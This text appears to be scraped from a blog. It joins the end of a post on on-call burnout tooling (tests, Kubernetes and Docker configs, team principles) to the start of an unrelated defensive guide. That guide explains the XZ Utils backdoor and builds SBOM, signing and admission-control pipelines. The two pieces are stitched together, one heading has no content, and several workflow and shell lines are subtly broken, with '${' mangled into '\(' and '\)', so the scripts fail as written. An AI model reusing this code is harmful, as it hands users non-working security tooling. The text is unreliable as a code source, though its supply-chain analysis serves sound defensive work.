    def test_root_cause_identification(self):
        affected = ["payment-service", "checkout-service", "order-service"]
        root = self.graph.find_likely_root_cause(affected)
        assert root == "order-service"

    def test_empty_services(self):
        assert self.graph.find_likely_root_cause([]) is None

    def test_impact_radius(self):
        impacted = self.graph.get_impact_radius("postgres-rds")
        assert "order-service"     in impacted
        assert "inventory-service" in impacted


@pytest.mark.asyncio
class TestDiagnosisEngine:
    async def setup_method(self, method):
        self.engine = DiagnosisEngine()
        self.engine.correlator.validate_db_connection_hypothesis = AsyncMock(
            return_value={
                "correlation_coefficient": 0.87,
                "db_anomaly_score": 0.82,
                "supports_hypothesis": True,
            }
        )
        self.engine.history.find_similar_incident = AsyncMock(return_value="RB-DB-001")
        self.engine.history.store_incident        = AsyncMock()

    async def test_explicit_root_cause(self):
        bundle = AlertBundle(**make_bundle([
            make_alert("DatabaseConnectionPoolExhausted", "order-service",
                       severity="critical", root_cause_candidate=True,
                       layer="infrastructure"),
            make_alert("ServiceErrorRateHigh",  "payment-service"),
            make_alert("ServiceErrorRateHigh",  "checkout-service"),
        ]))
        result = await self.engine.diagnose(bundle)
        assert result.root_cause_service == "order-service"
        assert result.root_cause_alert   == "DatabaseConnectionPoolExhausted"
        assert result.confidence_score    > 0.7
        assert result.recommended_runbook == "RB-DB-001"

    async def test_graph_traversal_fallback(self):
        bundle = AlertBundle(**make_bundle([
            make_alert("ServiceErrorRateHigh", "payment-service"),
            make_alert("ServiceErrorRateHigh", "checkout-service"),
            make_alert("ServiceErrorRateHigh", "order-service"),
        ]))
        result = await self.engine.diagnose(bundle)
        assert result.root_cause_service == "order-service"

    async def test_low_confidence_without_correlation(self):
        self.engine.correlator.validate_db_connection_hypothesis = AsyncMock(
            return_value={"correlation_coefficient": 0.2,
                          "db_anomaly_score": 0.1, "supports_hypothesis": False}
        )
        self.engine.history.find_similar_incident = AsyncMock(return_value=None)
        bundle = AlertBundle(**make_bundle([
            make_alert("ServiceErrorRateHigh", "payment-service")
        ]))
        result = await self.engine.diagnose(bundle)
        assert result.confidence_score < 0.6

Integration Test: Full Pipeline Simulation

📁 GitHub file: tests/test_integration.py

import pytest
import httpx

BASE_URL = "http://localhost:8080"

PAYMENT_CASCADE = {
    "version": "4",
    "groupKey": '{/{namespace="production"}:{alertname="~"}}',
    "status": "firing",
    "receiver": "diagnosis-engine",
    "groupLabels": {"namespace": "production", "layer": "infrastructure"},
    "commonLabels": {"namespace": "production"},
    "commonAnnotations": {},
    "alerts": [
        {
            "status": "firing",
            "labels": {
                "alertname": "DatabaseConnectionPoolExhausted",
                "severity": "critical", "layer": "infrastructure",
                "impact_type": "resource", "root_cause_candidate": "true",
                "service": "order-service", "namespace": "production",
                "runbook": "RB-DB-001",
            },
            "annotations": {"summary": "DB connection pool at 98%"},
            "startsAt": "2024-11-29T23:47:00Z", "endsAt": "0001-01-01T00:00:00Z",
            "generatorURL": "http://prometheus/graph", "fingerprint": "fp001",
        },
        {
            "status": "firing",
            "labels": {
                "alertname": "ServiceErrorRateHigh",
                "severity": "warning", "layer": "application",
                "impact_type": "availability", "root_cause_candidate": "false",
                "service": "payment-service", "namespace": "production",
                "runbook": "RB-APP-001",
            },
            "annotations": {"summary": "payment-service error rate 12%"},
            "startsAt": "2024-11-29T23:47:30Z", "endsAt": "0001-01-01T00:00:00Z",
            "generatorURL": "http://prometheus/graph", "fingerprint": "fp002",
        },
        {
            "status": "firing",
            "labels": {
                "alertname": "ServiceLatencyHigh",
                "severity": "warning", "layer": "application",
                "impact_type": "performance", "root_cause_candidate": "false",
                "service": "checkout-service", "namespace": "production",
                "runbook": "RB-APP-002",
            },
            "annotations": {"summary": "checkout-service p99 latency 8.2s"},
            "startsAt": "2024-11-29T23:47:45Z", "endsAt": "0001-01-01T00:00:00Z",
            "generatorURL": "http://prometheus/graph", "fingerprint": "fp003",
        },
    ],
}


@pytest.mark.asyncio
async def test_full_pipeline_payment_cascade():
    async with httpx.AsyncClient(base_url=BASE_URL, timeout=30.0) as client:
        response = await client.post("/alerts", json=PAYMENT_CASCADE)

    assert response.status_code == 200
    result = response.json()

    assert result["root_cause_service"] == "order-service"
    assert result["root_cause_alert"]   == "DatabaseConnectionPoolExhausted"
    assert "payment-service"  in result["affected_services"]
    assert "checkout-service" in result["affected_services"]
    assert result["confidence_score"]    >= 0.7
    assert result["recommended_runbook"] == "RB-DB-001"
    assert result["alert_count"] == 3


@pytest.mark.asyncio
async def test_health():
    async with httpx.AsyncClient(base_url=BASE_URL, timeout=5.0) as client:
        r = await client.get("/health")
    assert r.status_code == 200
    assert r.json()["status"] == "ok"


@pytest.mark.asyncio
async def test_resolved_bundle():
    resolved = {**PAYMENT_CASCADE, "status": "resolved"}
    async with httpx.AsyncClient(base_url=BASE_URL, timeout=10.0) as client:
        r = await client.post("/alerts", json=resolved)
    assert r.status_code == 200

Run All Tests

# Unit tests
pytest tests/test_diagnosis.py -v

# Integration tests (start services first)
docker-compose up -d
pytest tests/test_integration.py -v --asyncio-mode=auto

# Full coverage report
pytest tests/ --cov=src --cov-report=html --cov-report=term-missing

Kubernetes Deployment

📁 GitHub file: k8s/deployment.yaml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: diagnosis-engine
  namespace: monitoring
spec:
  replicas: 2
  selector:
    matchLabels:
      app: diagnosis-engine
  template:
    metadata:
      labels:
        app: diagnosis-engine
    spec:
      serviceAccountName: diagnosis-engine
      containers:
        - name: diagnosis-engine
          image: your-registry/diagnosis-engine:latest
          ports:
            - containerPort: 8080
          env:
            - name: SLACK_WEBHOOK_URL
              valueFrom:
                secretKeyRef:
                  name: oncall-secrets
                  key: slack-webhook-url
            - name: OPENAI_API_KEY
              valueFrom:
                secretKeyRef:
                  name: oncall-secrets
                  key: openai-api-key
          resources:
            requests:
              cpu: 200m
              memory: 256Mi
            limits:
              cpu: 500m
              memory: 512Mi
          readinessProbe:
            httpGet:
              path: /health
              port: 8080
            initialDelaySeconds: 5
            periodSeconds: 10
          livenessProbe:
            httpGet:
              path: /health
              port: 8080
            initialDelaySeconds: 15
            periodSeconds: 20
---
apiVersion: v1
kind: Service
metadata:
  name: diagnosis-engine
  namespace: monitoring
spec:
  selector:
    app: diagnosis-engine
  ports:
    - port: 8080
      targetPort: 8080
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: diagnosis-engine
rules:
  - apiGroups: ["apps"]
    resources: ["deployments"]
    verbs: ["get", "list", "patch", "update"]
  - apiGroups: [""]
    resources: ["pods", "pods/log"]
    verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: diagnosis-engine
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: diagnosis-engine
subjects:
  - kind: ServiceAccount
    name: diagnosis-engine
    namespace: monitoring

Dockerfile

📁 GitHub file: Dockerfile

FROM python:3.12-slim

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends ansible \
    && rm -rf /var/lib/apt/lists/*

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

RUN ansible-galaxy collection install kubernetes.core

EXPOSE 8080

CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8080", "--workers", "2"]

docker-compose.yml

📁 GitHub file: docker-compose.yml

version: "3.9"
services:
  diagnosis-engine:
    build: .
    ports:
      - "8080:8080"
    environment:
      - SLACK_WEBHOOK_URL=${SLACK_WEBHOOK_URL}
      - OPENAI_API_KEY=${OPENAI_API_KEY}
    depends_on:
      - redis

  redis:
    image: redis:7-alpine
    ports:
      - "6379:6379"

The Cultural Change Framework

Architecture alone is not enough. The system changes are only durable if they are paired with organizational changes that reassign accountability from individuals to teams.

Principle 1: Alert authorship equals alert ownership. Every alert rule must have a named team as its owner in the label set (team: payments). That team is responsible for the signal quality of their alerts, reviewed quarterly. Alert noise is a team metric, not an individual failing.

Principle 2: Noisy alerts are bugs. If an alert fires and the on-call engineer determines it was not actionable, filing a ticket for that alert is now required procedure, not optional. An alert that fires twice with no action taken is a P2 bug with an SLA for resolution.

Principle 3: Postmortems review the system, not the engineer. The right questions are not "What did the on-call engineer do?" but "Why was the diagnosis not automated? Why did the runbook not prevent this?" The engineer is a symptom. The system is the cause.

Principle 4: Rotation health is a team metric. Track pages per rotation, time-to-diagnose, auto-resolution rate, false positive rate, and engineer-reported rotation health weekly. When these numbers are bad, the conversation is with engineering leadership about system investment, not with individual engineers about resilience.

Principle 5: Build for the engineer who is half-asleep. Every piece of on-call tooling should be designed with the assumption that the person using it has been awake for 18 hours and has 30 seconds of working memory available. If the runbook has more than five steps, it should be a program. If the alert message does not tell you what to do, it should not be an alert.

Measuring Success

The Manifesto in One Paragraph

On-call burnout is a measurement problem, an architecture problem, and an accountability problem. It is not a people problem. The engineer who burned out after 90 pages in 30 days did not lack resilience. They were operating in a system that was designed to fail its humans. The fix is not hiring more engineers to absorb the same noise. The fix is designing a system where the noise does not reach humans in the first place: where alerts group by causality, where diagnosis runs automatically, where runbooks are programs not documents, and where accountability for alert quality sits with teams and systems, not with the individual who happened to be on-call when the chaos hit. You can build this system today. Every layer described in this article uses tools that are free, open-source, and already in your stack. The only thing preventing you from implementing it is the assumption that on-call suffering is inevitable. It is not. It is a design choice. And design choices can be changed.

Full source code: https://github.com/SubhanshuMG/oncall-burnout-fix

If this post helped you think differently about on-call architecture, share it with the engineering leader in your organization who controls your monitoring budget. That is the right person to read this.

The XZ Utils incident exposed a fundamental truth: open-source supply chain security cannot rely on human vigilance alone. Automated SBOM generation, cryptographic signing, and policy enforcement at every pipeline gate are now non-negotiable. What follows is a comprehensive architecture and implementation guide for building these defenses into an Internal Developer Platform (IDP) with working GitHub Actions workflows, OPA Rego policies, Cosign signing, Kyverno admission control, and Tekton pipeline integration.

The XZ Utils attack: a masterclass in patient infiltration

Think of it like a bank heist movie

Before diving into the technical details, consider this analogy. Imagine a small-town bank with a single, aging security guard, dedicated but overworked and underpaid. A con artist shows up, starts volunteering at the bank, doing helpful tasks for free. Meanwhile, fake customers start complaining loudly that the guard is too slow, too unreliable, and should retire. After two years of helpfulness, the con artist gets their own set of keys. They don't rob the bank immediately. Instead, they install a hidden mechanism in the vault door, one that only opens with their specific fingerprint, invisible to everyone else. They hide this mechanism inside replacement parts for the vault's air ventilation system, something nobody thinks to inspect. If a random engineer hadn't noticed the vault door was taking half a second longer to open, every bank in the world running the same vault model would have been silently compromised.

That is, almost literally, what happened with XZ Utils.

Three years of social engineering

The attacker, operating as "Jia Tan" (GitHub: JiaT75), created their account on January 26, 2021 and submitted their first innocuous patch, an .editorconfig file, on October 29, 2021. Over the next year, they submitted legitimate, helpful contributions to build trust with the sole maintainer, Lasse Collin.

The pressure campaign began in April 2022. Sock puppet accounts, "Jigar Kumar" and "Dennis Ens", bombarded the xz-devel mailing list with complaints about slow maintenance. Kumar wrote: "Progress will not happen until there is new maintainer. The current maintainer lost interest or doesn't care to maintain anymore." Collin, who had publicly acknowledged struggling with mental health issues, responded: "I haven't lost interest but my ability to care has been fairly limited mostly due to longterm mental health issues... It's also good to keep in mind that this is an unpaid hobby project."

The pressure worked. Key milestones in the takeover:

• June 2022: Collin acknowledges Jia Tan as "practically a co-maintainer already"

• September 2022: Jia Tan gives authoritative release summaries

• November 2022: Bug report email changed to shared alias; README updated to list "the project maintainers Lasse Collin and Jia Tan"

• January 2023: Collin tags his final release (v5.4.1)

• March 2023: Jia Tan tags their first release (v5.4.2) and takes over oss-fuzz contact

• June 2023: "Hans Jansen" (another suspected persona) introduces GNU Indirect Function (IFUNC) support, the exact mechanism the backdoor would later exploit

• July 2023: Jia Tan disables IFUNC in oss-fuzz builds, preventing the fuzzer from detecting the backdoor

Brian Krebs confirmed that Jigar Kumar, Dennis Ens, and Hans Jansen's email addresses never appeared anywhere else on the internet, not even in data breach databases, strongly indicating purpose-built sock puppet accounts.

The technical mechanism: five layers deep

The backdoor was architecturally elegant and terrifyingly well-hidden, operating through a five-stage chain.

Stage 1: Payload hidden in binary test files.

On February 23, 2024, Jia Tan committed two binary "test" files: tests/files/bad-3-corrupt_lzma2.xz and tests/files/good-large_compressed.lzma. The repository already noted that test files were "created by hand with a hex editor", making opaque binary additions appear routine. These files contained the x86-64 object code payload. Neither file was referenced by any actual test.

Stage 2: Modified build system activates the payload.

The release tarballs (but not the git repository) included a malicious build-to-host.m4 file. This is critical: release tarballs routinely include auto-generated build files absent from git, so the divergence went unnoticed. The m4 macro injected an obfuscated shell script into the configure process that checked preconditions (x86-64 Linux, GCC, GNU linker, building as deb/rpm) and then extracted the payload using a chain of sed, tr, head, and xz commands:

sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | \
  tr "\t \-_" " \t_\-" | xz -d | /bin/bash

The extracted payload was compiled into liblzma_la-crc64-fast.o and linked into liblzma.

Stage 3: IFUNC hijack of RSA_public_decrypt.

The payload used the GNU Indirect Function mechanism (introduced months earlier by "Hans Jansen's" patches) to replace the IFUNC resolvers for crc32_resolve() and crc64_resolve(). During process startup, before the GOT was remapped read-only, the malicious resolver parsed in-memory symbol tables, installed an audit hook into the dynamic linker, and waited for RSA_public_decrypt@plt to be resolved. When found, it redirected the function to the backdoor code and uninstalled the hook to cover its tracks.

Stage 4: The sshd, libsystemd, liblzma chain.

OpenSSH does not directly depend on liblzma. However, many Linux distributions (Debian, Ubuntu, Fedora) patch sshd to support systemd notification via sd_notify, linking sshd against libsystemd, which transitively depends on liblzma. The dependency chain sshd -> libsystemd -> liblzma (backdoored) loaded the malicious code directly into the SSH daemon's address space.

Stage 5: Remote code execution gated by Ed448 cryptography.

The hooked RSA_public_decrypt extracted a payload from the RSA public modulus in SSH certificate authentication (fully attacker-controlled), decrypted it with a hardcoded ChaCha20 key, and verified a digital signature using a hardcoded Ed448 public key. Only the holder of the corresponding Ed448 private key could trigger execution. If verified, the payload was passed directly to system(), achieving unauthenticated remote code execution. As Filippo Valsorda stated: "It's RCE, not auth bypass, and gated/unreplayable."

The use of Ed448 (rather than the common Ed25519), the multi-year campaign, and sophisticated anti-analysis countermeasures (detecting TERM, LD_DEBUG, rr, checking argv[0] for /usr/sbin/sshd, an environment variable kill switch yolAbejyiejuvnup=Evjtgvsh5okmkAvj) all point to likely state-sponsored activity.

Discovery: 500 milliseconds saved the internet

Andres Freund, a Microsoft principal engineer and PostgreSQL committer, discovered the backdoor while doing routine micro-benchmarking on Debian sid. He noticed SSH logins consuming unexpectedly high CPU and taking ~0.8 seconds instead of ~0.3 seconds, a 500ms anomaly. He also encountered Valgrind errors related to liblzma. As he wrote on the oss-security mailing list on March 29, 2024: "After observing a few odd symptoms around liblzma on Debian sid installations over the last weeks (logins with ssh taking a lot of CPU, valgrind errors) I figured out the answer."

The CVE received a CVSS score of 10.0, the maximum. Affected versions were 5.6.0 (released February 24, 2024) and 5.6.1 (released March 9, 2024). Only bleeding-edge distributions had adopted them: Fedora 40/Rawhide, Debian unstable/testing, openSUSE Tumbleweed, and Kali Linux. No stable production distribution was compromised. Red Hat issued an emergency advisory: "Immediately stop using Fedora 40 or Fedora Rawhide."

No automated security tool, code review process, or CI/CD pipeline caught this attack. It was pure human accident.

What an SBOM is and why it matters now

A Software Bill of Materials (SBOM) is a machine-readable inventory of every component, library, and dependency in a software artifact, essentially a nutritional label for code. Executive Order 14028 (May 2021) mandated SBOMs for federal software procurement, and the NTIA defined seven minimum data fields: supplier name, component name, version, unique identifiers (PURL/CPE), dependency relationships, SBOM author, and timestamp.

Two dominant formats compete. SPDX (Linux Foundation, ISO/IEC 5962:2021) excels at license compliance with file-level and snippet-level granularity. CycloneDX (OWASP, ECMA TC54) is security-focused with native VEX support, vulnerability fields, and component pedigree tracking. Both are supported by major tools. For supply chain security, CycloneDX's prescriptive design and built-in vulnerability exchange make it the stronger choice; for license-heavy regulated industries, SPDX's ISO standardization wins.

Five SBOM signals that would have flagged XZ Utils

An SBOM alone would not have prevented CVE-2024-3094. But systematic SBOM monitoring would have raised multiple alarms:

1. New maintainer detection. SBOM metadata tracks producers and suppliers. The transition from Lasse Collin to "Jia Tan" as release author, especially on a single-maintainer project with OpenSSF Scorecard risk scores of ~5.4/10, would have triggered review in any organization monitoring maintainer changes on critical dependencies.

2. Modified build scripts absent from source. The malicious build-to-host.m4 existed only in release tarballs, not in git. Comparing SBOMs generated from source checkout versus release tarball would reveal unexplained divergences. StepSecurity's Harden-Runner analysis showed multiple anomalous sed commands modifying the Makefile during 5.6.0 builds, a clear behavioral anomaly.

3. New binary files in a source repository. The payload was hidden in binary test files that were not exercised by any test. SPDX's file-level analysis capability could flag new opaque binaries, and build-process SBOM diffing between versions would detect the additions.

4. Unexpected transitive dependencies. Binary SBOM analysis of sshd would reveal linkage to liblzma despite OpenSSH's source having no such dependency. The discrepancy between source-level and binary-level dependency graphs is a critical signal.

5. Rapid incident response. Organizations with SBOMs could instantly query "which systems contain xz-utils 5.6.0 or 5.6.1?", answering in minutes rather than days. Wiz demonstrated this with their agentless SBOM inventory; Sumo Logic showed SPDX JSON queries identifying affected hosts immediately.

The honest assessment: SBOMs are necessary but not sufficient. They must be combined with reproducible builds, maintainer vetting, behavioral analysis, and automated policy enforcement, which is exactly what we build next.

Architecture of a self-healing supply chain audit system

The system operates as a defense-in-depth pipeline with six enforcement points, each independently capable of blocking compromised artifacts.

The core components:

• SBOM generation (Syft) produces CycloneDX/SPDX inventories at build time

• Policy engine (OPA with Rego, Conftest) evaluates SBOMs against blocklists, license rules, dependency drift, and completeness requirements

• Vulnerability scanning (Grype, Trivy) fails builds on critical/high CVEs

• Cryptographic signing (Cosign/Sigstore) provides keyless signatures via Fulcio OIDC certificates and records every signing event in the Rekor transparency log

• Artifact registry (Harbor) stores images with attached signatures, SBOM attestations, and enforces pull-time policies

• Admission control (Kyverno or sigstore/policy-controller) blocks unsigned or un-attested images at the Kubernetes API server

• Drift detection (ArgoCD, continuous rescanning, Dependency-Track) detects newly discovered vulnerabilities in already-deployed artifacts and triggers automated remediation

The self-healing aspect comes from three feedback loops: (1) scheduled vulnerability rescanning that triggers rebuilds when new CVEs affect deployed images, (2) GitOps reconciliation that reverts unauthorized manual deployments, and (3) admission control that prevents bypassing the pipeline entirely.

Step 1: GitHub Actions workflow with full supply chain security

This workflow builds a container image, generates an SBOM, scans for vulnerabilities, signs the image, and attests the SBOM, all with keyless Sigstore.

name: Supply Chain Security Pipeline

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

jobs:
  build-sign-scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
      id-token: write        # Required for Sigstore OIDC keyless signing
      security-events: write  # Required for SARIF upload

    steps:
      # Checkout
      - name: Checkout repository
        uses: actions/checkout@v4

      # Install Supply Chain Tools
      - name: Install Cosign
        uses: sigstore/cosign-installer@v3

      - name: Install Syft
        uses: anchore/sbom-action/download-syft@v0

      # Docker Build and Push
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Login to GHCR
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract Docker metadata
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: \({{ env.REGISTRY }}/\){{ env.IMAGE_NAME }}
          tags: |
            type=sha,format=long
            type=semver,pattern={{version}}

      - name: Build and push image
        id: build-and-push
        uses: docker/build-push-action@v6
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}

      # Generate SBOM with Syft
      - name: Generate SBOM
        uses: anchore/sbom-action@v0
        id: sbom
        with:
          image: \({{ env.REGISTRY }}/\){{ env.IMAGE_NAME }}@${{ steps.build-and-push.outputs.digest }}
          format: spdx-json
          output-file: sbom.spdx.json

      # Policy Check with Conftest/OPA
      - name: Install Conftest
        run: |
          LATEST=$(wget -qO- "https://api.github.com/repos/open-policy-agent/conftest/releases/latest" | grep '"tag_name"' | sed -E 's/.*"v([^"]+)".*/\1/')
          wget -q "https://github.com/open-policy-agent/conftest/releases/download/v\({LATEST}/conftest_\){LATEST}_Linux_x86_64.tar.gz"
          tar xzf conftest_${LATEST}_Linux_x86_64.tar.gz
          sudo mv conftest /usr/local/bin/

      - name: Run SBOM policy checks
        run: conftest test sbom.spdx.json --policy policy/

      # Vulnerability Scan with Grype
      - name: Scan for vulnerabilities
        uses: anchore/scan-action@v7
        id: scan
        with:
          sbom: sbom.spdx.json
          fail-build: true
          severity-cutoff: critical
          output-format: sarif

      - name: Upload SARIF report
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: ${{ steps.scan.outputs.sarif }}

      # Sign Image with Cosign (Keyless)
      - name: Sign container image
        run: |
          cosign sign --yes \
            \({{ env.REGISTRY }}/\){{ env.IMAGE_NAME }}@${{ steps.build-and-push.outputs.digest }}

      # Attest SBOM
      - name: Attest SBOM to image
        run: |
          cosign attest --yes \
            --predicate sbom.spdx.json \
            --type spdxjson \
            \({{ env.REGISTRY }}/\){{ env.IMAGE_NAME }}@${{ steps.build-and-push.outputs.digest }}

      # Verify Everything
      - name: Verify signature
        run: |
          cosign verify \
            --certificate-identity-regexp="https://github.com/${{ github.repository }}/*" \
            --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
            \({{ env.REGISTRY }}/\){{ env.IMAGE_NAME }}@${{ steps.build-and-push.outputs.digest }}

      - name: Verify SBOM attestation
        run: |
          cosign verify-attestation \
            --type spdxjson \
            --certificate-identity-regexp="https://github.com/${{ github.repository }}/*" \
            --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
            \({{ env.REGISTRY }}/\){{ env.IMAGE_NAME }}@${{ steps.build-and-push.outputs.digest }}

Key details: id-token: write is mandatory for keyless Sigstore signing; it mints the OIDC token that Fulcio uses to issue a short-lived certificate. The --yes flag is required in CI for non-interactive acceptance. All image references use digest (@sha256:...), never tags, to prevent TOCTOU attacks.

Step 2: OPA Rego policies for SBOM enforcement

These policies run via conftest test sbom.json --policy policy/ in the CI pipeline. Place them in a policy/ directory.

Denied packages blocklist

# policy/denied_packages.rego
package main

import future.keywords.contains
import future.keywords.if
import future.keywords.in

denied_packages := {
  "pkg:npm/event-stream",
  "pkg:npm/flatmap-stream",
  "pkg:pypi/jeIlyfish",
  "pkg:generic/xz-utils@5.6.0",
  "pkg:generic/xz-utils@5.6.1",
}

deny contains msg if {
  some component in input.packages
  purl := component.externalRefs[_].referenceLocator
  purl in denied_packages
  msg := sprintf("BLOCKED: package '%s' (purl: %s) is on the deny list", [component.name, purl])
}

License compliance

# policy/license_compliance.rego
package main

import future.keywords.contains
import future.keywords.if
import future.keywords.in

prohibited_licenses := {
  "GPL-2.0-only", "GPL-2.0-or-later",
  "GPL-3.0-only", "GPL-3.0-or-later",
  "AGPL-3.0-only", "AGPL-3.0-or-later",
  "SSPL-1.0",
}

deny contains msg if {
  some pkg in input.packages
  license := pkg.licenseConcluded
  license in prohibited_licenses
  msg := sprintf("LICENSE VIOLATION: '%s' uses prohibited license '%s'", [pkg.name, license])
}

Dependency drift detection

# policy/dependency_drift.rego
# Load baseline: conftest test sbom.json --policy policy/ --data baseline.json
package main

import future.keywords.contains
import future.keywords.if
import future.keywords.in

deny contains msg if {
  data.approved_packages
  some pkg in input.packages
  name_version := sprintf("%s@%s", [pkg.name, pkg.versionInfo])
  not name_version in data.approved_packages
  msg := sprintf("NEW DEPENDENCY: '%s' not in approved baseline; review required", [name_version])
}

warn contains msg if {
  not data.approved_packages
  msg := "No baseline loaded; dependency drift detection skipped"
}

SBOM completeness check

# policy/sbom_completeness.rego
package main

import future.keywords.contains
import future.keywords.if

deny contains msg if {
  not input.spdxVersion
  msg := "SBOM missing required field: spdxVersion"
}

deny contains msg if {
  not input.creationInfo
  msg := "SBOM missing required field: creationInfo"
}

deny contains msg if {
  input.creationInfo
  not input.creationInfo.created
  msg := "SBOM missing required field: creationInfo.created (timestamp)"
}

deny contains msg if {
  not input.packages
  msg := "SBOM has no packages; appears empty"
}

deny contains msg if {
  count(input.packages) == 0
  msg := "SBOM packages array is empty"
}

deny contains msg if {
  some i, pkg in input.packages
  not pkg.name
  msg := sprintf("Package at index %d missing required field 'name'", [i])
}

deny contains msg if {
  some i, pkg in input.packages
  not pkg.versionInfo
  msg := sprintf("Package '%s' missing required field 'versionInfo'", [pkg.name])
}

Step 3: Kubernetes admission control with Kyverno

Verify Cosign keyless signatures on all images

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
  annotations:
    policies.kyverno.io/title: Verify Image Signatures
    policies.kyverno.io/category: Supply Chain Security
    policies.kyverno.io/severity: high
spec:
  validationFailureAction: Enforce
  background: false
  rules:
    - name: verify-keyless-signature
      match:
        any:
          - resources:
              kinds:
                - Pod
      verifyImages:
        - imageReferences:
            - "ghcr.io/my-org/*"
          attestors:
            - entries:
                - keyless:
                    subject: "https://github.com/my-org/*/.github/workflows/*"
                    issuer: "https://token.actions.githubusercontent.com"
                    rekor:
                      url: https://rekor.sigstore.dev

Require SBOM attestation on all deployed images

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-sbom-attestation
  annotations:
    policies.kyverno.io/title: Require SBOM Attestation
    policies.kyverno.io/category: Supply Chain Security
    policies.kyverno.io/severity: high
spec:
  validationFailureAction: Enforce
  background: false
  webhookTimeoutSeconds: 30
  rules:
    - name: check-sbom-attestation
      match:
        any:
          - resources:
              kinds:
                - Pod
      verifyImages:
        - imageReferences:
            - "ghcr.io/my-org/*"
          attestations:
            - type: https://spdx.dev/Document
              attestors:
                - entries:
                    - keyless:
                        subject: "https://github.com/my-org/*/.github/workflows/*"
                        issuer: "https://token.actions.githubusercontent.com"
                        rekor:
                          url: https://rekor.sigstore.dev
              conditions:
                - all:
                    - key: "{{ spdxVersion }}"
                      operator: Equals
                      value: "SPDX-2.3"

Alternative: sigstore/policy-controller ClusterImagePolicy

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: keyless-sbom-required
spec:
  images:
    - glob: "ghcr.io/my-org/**"
  authorities:
    - keyless:
        url: https://fulcio.sigstore.dev
        identities:
          - issuer: https://token.actions.githubusercontent.com
            subject: "https://github.com/my-org/my-repo/.github/workflows/build.yml@refs/heads/main"
      ctlog:
        url: https://rekor.sigstore.dev
      attestations:
        - name: must-have-sbom
          predicateType: https://spdx.dev/Document
          policy:
            type: cue
            data: |
              predicateType: "https://spdx.dev/Document"

Step 4: Dependency diff alerting and maintainer change detection

Add this job to your GitHub Actions workflow to detect suspicious dependency changes:

  dependency-audit:
    runs-on: ubuntu-latest
    if: github.event_name == 'pull_request'
    steps:
      - name: Checkout PR
        uses: actions/checkout@v4

      - name: Checkout base
        uses: actions/checkout@v4
        with:
          ref: ${{ github.base_ref }}
          path: base

      - name: Generate SBOMs for diff
        run: |
          # Generate SBOM for current PR
          syft scan dir:. -o spdx-json=pr-sbom.json
          # Generate SBOM for base branch
          syft scan dir:./base -o spdx-json=base-sbom.json

      - name: Dependency diff analysis
        run: |
          #!/bin/bash
          set -euo pipefail

          # Extract package names and versions from both SBOMs
          jq -r '.packages[] | "\(.name)@\(.versionInfo // "unknown")"' base-sbom.json | sort > base-deps.txt
          jq -r '.packages[] | "\(.name)@\(.versionInfo // "unknown")"' pr-sbom.json | sort > pr-deps.txt

          # Find new dependencies
          NEW_DEPS=$(comm -13 base-deps.txt pr-deps.txt)
          REMOVED_DEPS=$(comm -23 base-deps.txt pr-deps.txt)

          if [ -n "$NEW_DEPS" ]; then
            echo "::warning::New dependencies detected:"
            echo "$NEW_DEPS"
            echo ""
            echo "Review these additions for supply chain risk."
          fi

          if [ -n "$REMOVED_DEPS" ]; then
            echo "::notice::Dependencies removed:"
            echo "$REMOVED_DEPS"
          fi

          # Flag high-risk patterns (like the XZ Utils attack signals)
          echo "$NEW_DEPS" | while read -r dep; do
            PKG_NAME=\((echo "\)dep" | cut -d'@' -f1)
            echo "Checking scorecard for: $PKG_NAME"
          done

      - name: OpenSSF Scorecard check
        uses: ossf/scorecard-action@v2.3.1
        with:
          results_file: scorecard-results.sarif
          results_format: sarif
          publish_results: true

For maintainer change detection specifically, integrate with package registry APIs:

#!/bin/bash
# maintainer-check.sh; detect maintainer changes on npm packages
# Run periodically or in CI when lockfiles change

LOCKFILE="package-lock.json"
ALERT_WEBHOOK="${SLACK_WEBHOOK_URL}"

jq -r '.packages | to_entries[] | .value.resolved // empty' "$LOCKFILE" | \
  grep -oP '(?<=registry.npmjs.org/)[^/]+' | sort -u | while read -r pkg; do

  # Fetch current maintainers from npm
  CURRENT=\((npm view "\)pkg" maintainers --json 2>/dev/null | jq -r '.[].name' | sort)
  CACHED="./maintainer-cache/${pkg}.txt"

  if [ -f "$CACHED" ]; then
    PREVIOUS=\((cat "\)CACHED")
    if [ "\(CURRENT" != "\)PREVIOUS" ]; then
      echo "Maintainer change on $pkg"
      echo "  Previous: $PREVIOUS"
      echo "  Current:  $CURRENT"
      # Send alert
      curl -s -X POST "$ALERT_WEBHOOK" \
        -H 'Content-type: application/json' \
        -d "{\"text\":\"Maintainer change detected on \`\(pkg\`\nPrevious: \)PREVIOUS\nCurrent: $CURRENT\"}"
    fi
  fi

  mkdir -p ./maintainer-cache
  echo "\(CURRENT" > "\)CACHED"
done

Step 5: Tekton pipeline with Chains for automatic provenance

The Tekton pipeline mirrors the GitHub Actions workflow but runs on Kubernetes. Tekton Chains automatically generates SLSA provenance and signs it.

Chains configuration

# Install Tekton Pipelines and Chains
kubectl apply -f https://storage.googleapis.com/tekton-releases/pipeline/latest/release.yaml
